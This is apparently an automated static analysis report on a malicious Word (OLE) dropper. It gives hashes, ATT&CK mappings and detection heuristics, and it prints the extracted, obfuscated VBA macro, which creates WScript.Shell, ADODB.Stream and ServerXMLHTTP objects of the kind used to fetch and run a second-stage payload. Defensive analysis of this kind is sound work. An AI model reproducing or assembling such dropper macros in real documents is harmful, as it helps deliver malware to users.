Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4c4ff8714e278d50…

MALICIOUS

Office (OLE)

77.0 KB Created: 2016-05-09 21:39:00 Authoring application: Microsoft Office Word First seen: 2017-12-24
MD5: 4359fa509d7f3535648a95eb509c3405 SHA-1: 982e863dab6df4adbff3eed7759e896817066852 SHA-256: 4c4ff8714e278d5032bedfe8b0f4e7e30c5cfbf81d023c7d0e6ca1b959d5110f
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious Office document containing VBA macros. The macros utilize `CreateObject` to instantiate `WScript.Shell` and `ADODB.Stream`, indicating an intent to execute commands and potentially download additional content. The presence of `Shell()` calls and `WScript.Shell` usage strongly suggests the execution of a second-stage payload. The ClamAV detection 'Doc.Dropper.Agent-6400577-0' further supports its role as a dropper.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6400577-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6400577-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Dim TtyNOvGn As Integer
Set PFcJW = CreateObject("WScript.Shell")
End Function
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Dim SEyEjhoVP As Boolean
Set gizBTyrJRP = CreateObject("ADODB.Stream")
End Function
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 78,848 bytes but its declared streams total only 46,699 bytes — 32,149 bytes (41%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 599 bytes
SHA-256: 0925d08a1c17e424d918e47065a24a79325500c01c807c84671ca391a45df7ca
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "SyqLK"
Public Function gizBTyrJRP() As Object
Dim SEyEjhoVP As Boolean
Set gizBTyrJRP = CreateObject("ADODB.Stream")
End Function
Public Function PFcJW() As Object
Dim TtyNOvGn As Integer
Set PFcJW = CreateObject("WScript.Shell")
End Function
Public Function ThhdbydJ() As Object
Dim HGrBrEyk As String
Set ThhdbydJ = CreateObject("MSXML2.ServerXMLHTTP.6.0")
End Function
Private Function uREqDRWRP() As Integer
YRcIVIcog
zzTmoaeZe False, "4M8mzxRoeO5T6qwFGxweMhf4oIB"
ngYFxDZeTQ False, 7239, "iJ4LmxCaLptQ3decrDWelSfhBnpFJHYQ"
uREqDRWRP = 7668
End Function

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